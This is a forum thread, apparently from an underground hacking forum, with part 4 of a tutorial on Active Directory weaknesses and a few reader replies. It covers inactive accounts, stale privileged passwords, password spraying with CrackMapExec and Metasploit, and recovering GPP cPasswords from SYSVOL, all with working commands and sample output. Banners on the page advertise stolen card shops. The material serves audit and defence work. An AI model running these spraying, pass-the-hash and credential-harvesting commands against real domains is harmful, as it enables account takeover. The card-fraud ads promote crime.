

buying crypto databases / purchase crypto db

cc2btc | FIRST IN WORLD LEGENDARY NO VBV SNIFFED ONLINE STORE CC

Servers/VDS for pentest and scanning!



Underground > **Network Vulnerabilities / Wi-F...** >

Article

Active Directory Core Vulnerabilities, Part 4

valeraleontev · 27.08.2021 · active directory

Go to new

Trace



valeraleontev

RAID User

27.08.2021

New



#1

Active Directory Core Vulnerabilities, Part

4

Hello reader! Nice to see you. I continue the series of articles on Active Directory vulnerabilities. I strongly recommend reading the previous chapters:

- First part
- Part Two
- Part Three

I want to hear adequate criticism and recommendations for improving the content. I can't help but repeat myself by saying that these articles are unlikely to be suitable for those who engage in illegal hacking. These articles are for those who conduct a legal audit, someone who needs to check the maximum and protect the infrastructure as best as possible. Thanks in advance.

reading!

13. Inactive Domain Accounts

The vulnerability is related to the presence of user accounts that have not been used for a long time according to their "last logon date". These accounts usually belong to:

- Employees who have left the company
- Temporary accounts
- Test accounts

Having unused domain accounts increases the risk of an organization being hacked because it allows you to compromise those accounts, for example, by brute-forcing the system. (personally saw RDP access to a multi-million dollar company with credits reports:reports)

There must be a mechanism (policy) in place to disable or delete these accounts based on periodic checks, for example, after 30 days of inactivity.

Of course, the term may vary.

How to check:

To find inactive domain accounts, we can again use the LDAPDomainDump tool mentioned earlier. All we need is the credentials of a low-privileged domain user and the ability to access the LDAP port of any domain controller. Here's what

to do: 1) Collect information from the domain controller first:

Code:

Copy to clipboard

```
python ldapdomaindump.py -u <DOMAIN>\\<USER> -p <PASS> -d <DELIMITER> <DC-IP>
```

Пример:

```
python ldapdomaindump.py -u example.com\\john -p pass123 -d ';' 10.100.20.1
```

2) After the data collection is complete, sort the users by the date they last logged in using the following command:

```
sort -t ';' -k 8 domain_users.grep | grep -v ACCOUNT_DISABLED | awk -F ';' '{print $3, $8}'
```

```
kali@kali:~$ sort -t ';' -k 8 domain_users.grep | grep -v ACCOUNT_DISABLED  
| awk -F ';' '{print $3, $8}'  
sosman 1601-01-01 00:00:00+00:00  
satyak 1601-01-01 00:00:00+00:00  
achilunga 1601-01-01 00:00:00+00:00  
arohini 1601-01-01 00:00:00+00:00  
nivedithan 1601-01-01 00:00:00+00:00  
levinr2 1601-01-01 00:00:00+00:00  
dwahab 1601-01-01 00:00:00+00:00  
jrebustillo 1601-01-01 00:00:00+00:00  
mtucker 1601-01-01 00:00:00+00:00  
SQL.SVC 2010-10-06 12:28:01.578125+00:00  
RTCReportPack 2010-10-08 10:06:50.466339+00:00  
SQLService 2010-10-09 09:03:00.750000+00:00  
SQLServerDBE 2010-10-09 09:04:41.213720+00:00  
SQLServerAnalysis 2010-10-09 09:05:10.495110+00:00  
lobby1 2010-11-03 14:54:39.665258+00:00  
pvproxyaccount 2011-02-03 09:57:58.470919+00:00  
ocsrecorder 2011-02-14 13:41:06.349211+00:00  
SVCKRONSQ 2011-10-02 05:21:51.034389+00:00  
statement 2011-11-28 05:14:31.719473+00:00  
puser 2011-12-11 12:50:22.761242+00:00
```

If we see something like this, we should inform the customer about it.

14. Privileged users with expired password.

This vulnerability is related to the fact that users with high privileges and users with administrative rights are configured with one password for a very long time, for example, for six months or more.

Why is this a problem?

Privileged accounts are targets for attackers (such as APTs and blasters), and if their passwords are not changed periodically, it gives attackers enough time to successfully search and crack credentials.

As mentioned earlier, all privileged accounts and service accounts must change passwords regularly.

How to check:

How do I pinpoint a root user? One very good indicator is the AdminCount attribute, which has already been mentioned earlier. So, all we have to do is get a list of these users and see when was the last time their password was changed.

It sounds a bit complicated, but with the LDAPDomainDump tool mentioned earlier, it's not hard at all. All we need is the credentials of any low-privileged domain user and the ability to access the LDAP port of any domain controller. Here's what

to do: 1) Collect information from the domain controller first:

Code:

Copy to clipboard

```
python ldapdomaindump.py -u <DOMAIN>\\<USER> -p <PASS> -d <DELIMITER> <DC-IP>
```

Пример:

```
python ldapdomaindump.py -u example.com\\john -p pass123 -d ';' 10.100.20.1
```

2) After the dump is complete, get a list of users with the AdminCount attribute of 1 by analyzing the file domain_users.json:

3) Now view the list of privileged users, display the date of their last password reset (pwdLastSet) and sort it:

```
jq -r '.[].attributes | select(.adminCount == [1]) | .sAMAccountName[]' domain_users.json > privileged_users.txt
```

```
while read user; do grep "${user};" domain_users.grep; done < privileged_users.txt | \ grep -v ACCOUNT_DISABLED | sort -t ';' -k 10 | awk -F ';' '{print $3, $10}'
```

```
kali@kali:~$ while read user; do grep "${user};" domain_users.grep; done < privileged_users.txt | \
> grep -v ACCOUNT_DISABLED | sort -t ';' -k 10 | awk -F ';' '{print $3, $10}'
ravin2
testuser6
sccmadmin 2017-01-09 10:27:08.122107+00:00
Sali 2017-10-07 09:13:23.559601+00:00
wsohail 2018-01-11 07:54:40.891928+00:00
dbalan 2020-01-14 06:11:03.459473+00:00
febkp.admin 2020-01-19 13:38:11.975454+00:00
mpastor 2020-01-22 05:02:24.137547+00:00
ascaria 2020-01-22 12:43:14.612637+00:00
atnazeer 2020-01-25 11:04:21.723509+00:00
lcahanap 2020-01-27 06:37:05.204981+00:00
aandhe 2020-01-27 11:08:24.791162+00:00
levinr 2020-01-29 07:35:57.420982+00:00
uigalagamage 2020-01-30 07:53:13.351601+00:00
achathur 2020-02-04 10:36:53.832270+00:00
psharma 2020-02-05 05:42:50.184975+00:00
amali 2020-02-09 07:07:47.356318+00:00
sandarath 2020-02-09 07:32:04.816689+00:00
```

It seems that these 5 privileged users have not changed their password for a long time, feel free to report!

15. Users with a weak password

Aluming a password policy and a mature environment, there may still be domain accounts with weak passwords.

This is a very common problem, especially in large Active Directory environments.

How to check:

To check domain users for weak credentials, we first need to make a list of users. And to get a list, we have to have an account with users with low privileges to the domain. Here's what we can do on a domain-joined Windows machine:

1) First we need to get a list of users from AD, and for that we can use the following powershell combination (or any other convenient way for you):

Code:

Copy to clipboard

```
$a = [adsisearcher]"(&(objectCategory=person)(objectClass=user))"  
$a.PropertiesToLoad.add("samaccountname") | out-null  
$a.PageSize = 1  
$a.FindAll() | % { echo $_.properties.samaccountname } > users.txt
```

Or using impacket:

Code:

Copy to clipboard

```
samrdump.py <ip>  
#Пример:  
samrdump.py 10.10.10.10
```

Alternatively, use the following command

to retrieve all the accounts on the host: `net user`

(and by adding the /domain flag, the command performs an operation on the domain controller of the primary domain for this computer.)

2) Now we can pass this list to any of the following brute-punching tools: (the attack is called password spraying aka Password Spraying)

- Module PowerShell DomainPasswordSpray.ps1
- Invoke-BruteForce.ps1 PowerShell module
- Metasploit scanner smb_login
- Nmap ldap-brute NSE scenario
- CrackMapExec tool
- Medusa Tool
- Ncrack Tool
- Hydra tool

Let's consider two options. CrackMapExec and script over:

1) Script

```
PS C:\users\public> adlogin .\userlist.txt domain.com password123
```

```
AAA1749,password123,False
AAA3086,password123,False
AAA5001,password123,False
aaa60240,password123,False
AAA6310,password123,False
AAA7547,password123,False
AAA8456,password123,False
AAA8592,password123,False
AAA8676,password123,True
AAA9770,password123,False
aaabubaker,password123,False
aaalalix,password123,False
AAB11510,password123,False
AAB8624,password123,False
AAB9130,password123,False
AAB9695,password123,False
aabbas,password123,True
aacharya,password123,False
AAD10518,password123,False
AAD13693,password123,False
AADXXX,password123,False
aafollowup,password123,False
AAG12032,password123,False
AAG12979,password123,False
AAG13798,password123,False
```

XSS.is

The script itself (here is the link), the syntax, I think, is

clear 2) CrackMapExec, (in the command shortened to cme)

Code:

Copy to clipboard

```
cme <protocol> <target(s)> -u username1 -p password1 password2
                        -u username1 username2 -p password1
                        -u ~/file_containing_usernames -p ~/file_containing_passwords
                        -u ~/file_containing_usernames -H ~/file_containing_ntlm_hashes

#Пример:
cme smb 192.168.1.105 -u Administrator -H 32196B56FFE6F45E294117B91A83BF38 -x
```

Here's how we could do the same thing
on Linux (e.g. Kali Linux):

Code:

Copy to clipboard

```
[LEFT]net rpc group members 'Domain Users' -I <DC-IP> -U "<USER>%"<PASS>"
#Пример:
net rpc group members 'Domain Users' -I 192.168.10.50 -U "john%"pass123" > users.txt
```

Code:



```
set SMBRASS_FILE pwdlist.txt
set USER_FILE users.txt
set THREADS 5
run
```

ATTENTION! Before launching any login attack, we should always be aware of the corporate password policy to prevent users from being blocked.

16. Credentials in SYSVOL and Group Policy Settings (GPP)

The vulnerability is related to the storage of credentials in SYSVOL network shares, which are folders on domain controllers that are accessible and readable to all authenticated domain users. SYSVOL folders are typically used to store enterprise Group Policy, configuration files, and other data

that is sent to users when they log on, etc. Storing credentials in SYSVOL folders is something that administrators sometimes do or prefer to do at a specific point in time to resolve some configuration issues.

For example, running an application on client machines at logon that requires administrator privileges. Needless to say, this should never be done because any domain user can access SYSVOL shares and find credentials.

- Group Policy Preferences (GPP) with cPassword attribute (MS14-025)
- Hard-coded credentials in various scripts and configuration files

How to check:

To verify this, we need to have all the credentials of a low-privileged domain user. Here's what we can do on a domain-joined Windows machine:

```
findstr /s /n /i /p password \\\\<DOMAIN>\sysvol\<DOMAIN>\*
```

Пример:

```
findstr /s /n /i /p password \\\\corp.com\sysvol\corp.com\*
```

This command will analyze all the files in the SYSVOL folder and look for the "password" template. An equivalent command in Linux (e.g. Kali Linux) would be:

Code:

Copy to clipboard

```
mount.cifs -o domain=<DOMAIN>,username=<USER>,password=<PASS> //<DC-IP>/SYSVOL /mnt
```

Пример:

```
mount.cifs -o domain=example.com,username=john,password="pass@123" //10.10.139.115/SYSVOL /mnt
```

Поиск:

```
grep -ir 'password' /mnt
```

We can also use the following metasploit module:

```
use /post/windows/gather/credentials/gpp
```

Most likely, we will find something interesting.

For example, we could find the cPassword attribute in GPP XML files, which could be instantly decrypted using the 'gpp-decrypt' utility built into Kali

Linux:

```
./Policies/{D25BCF0B-8D02-42AD-930E-F410D7DB7D33}/Machine/Preferences/Groups/Groups.xml
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE
-25 11:43:51" uid="{4314476D-0EFF-4698-89C5-7A5B3CD24637}" userContext="0" removePolicy="0"><Prope
escription="" cpassword="+bsY0V3d4/KgX3VJd0/vyepPfAN1zMFTiQDApgR92JE" changeLogon="0" noChange="0"
k"/></User>
kali@kali:/mnt/example.com# gpp-decrypt +bsY0V3d4/KgX3VJd0/vyepPfAN1zMFTiQDApgR92JE
P@$w0rd
kali@kali:/mnt/example.com#
```

Now we can try to use this password and authenticate with it on Windows computers found on the network. Or somewhere else.

Conclusion

Anyone who has ever delved into the world of Active Directory will certainly agree with me when I say that securing Active Directory is not an easy task. To do this and reduce the risks associated with it requires a tremendous level of knowledge and many years of experience.

But even then, the work will not be done to the end. It's never really fulfilled because there are always new requirements, new features, new discoveries and new vulnerabilities, and so there's always room for improvement. But I am sure that for no one in the world of information security it is not surprising.

I hope this article has provided at least some valuable information for penetration testers and auditors to help their clients protect their Active Directory environments.

 Complaint

 Like + Quotation  Answer



Olatunji09, fordf2544 and Trikster



vegaz

CD User

28.08.2021

New   #2

Thanks, pretty good translations

 Complaint

 Like + Quotation  Answer



fordf2544




valeraleontev

RAID User

29.08.2021

New   #3

vegaz said: 

Thanks, pretty good translations

Thank you!) I'm glad I liked it. I will try to write a small personal dock on privileges and movement soon.

 Complaint



 Like + Quotation  Answer

c0v1d21 and fordf2544


denis2363

HDD-drive User

29.08.2021




















New   #4

Many thanks to the author, I learned something for myself

 Complaint


 Like  + Quotation  Answer

valeraleontev

B *I* U  **T** ▼  **A** ▼           
     

Write an answer...

 Attach files

 Answer

Underground > **Network Vulnerabilities / Wi-F...** >

Style selection English (RU)

Help Home 